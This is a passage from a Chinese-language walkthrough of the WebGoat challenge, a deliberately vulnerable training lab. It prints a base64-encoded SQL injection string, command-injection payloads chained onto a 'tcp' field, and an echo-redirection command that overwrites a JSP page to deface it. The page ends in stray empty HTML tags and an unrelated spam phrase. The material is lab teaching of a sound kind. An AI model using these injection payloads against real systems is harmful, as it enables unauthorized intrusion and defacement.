            //編碼后注入代碼為
            eW91YXJldGhld2Vha2VzdGxpbmsnIE9SICcxJz0nMQ==
            

            Stage3

            第三步發現是各種網絡協議的表單,根據經驗判斷(就是猜)這種表單一般有兩種獲取形式

            1. 利用SQL從數據庫讀取
            2. 利用cmd命令行得到

            先嘗試攔截報文,對file字段做SQL注入,發現沒有效果.然后進行命令行注入,通用命令"ls"

            #!bash
            tcp && ls
            

            這里注意坑爹的事情

            由于是為了出題而出題,只有tcp具有命令行注入功能,選其它的選項卡都不行,是因為Java在源代碼里做判斷,只在tcp時讓其故意有注入漏洞.Youtube上視頻是5.2版本的...使用的是ip進行的注入,耽擱了老子好久...

            還有一點需要注意,Youtube上給出的注入命令是

            #!bash
            && pwd && ls && find -name "webgoat_challenge_guest.jsp"
            

            這些指令在Mac下是無效的,Mac下需要的指令主要是find不一樣

            #!bash
            tcp; pwd; ls; find . -iname "webgoat_challenge_guest.jsp";
            

            通過命名行注入,我們可以得到webgoat_challenge_guest.jsp文件的地址

            Figure03

            然后可以使用另外一段自定義的HTML文本代替webgoat_challenge_guest.jsp,原理是利用了命令行注入的

            #!bash
            echo "text" > file
            

            意思是使用清空file的內容文本,填充"text"進入file,對應的另外一個

            #!bash
            echo "text" >> file 
            

            保留file的內容文本,后續補充"text",百度原理看這里,構造注入語句

            #!bash
            tcp; echo "<html><body>Mission Complete</body></html>" > WebGoat/webgoat-container/target/webgoat-container-7.1-SNAPSHOT/webgoat_challenge_guest.jsp
            

            Stage4

            任務完成了,WebGoat的練習題只能說坑爹坑爹十分坑爹...但是總體來說還是熟悉了常用的攻擊手段...學到了不少東西

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线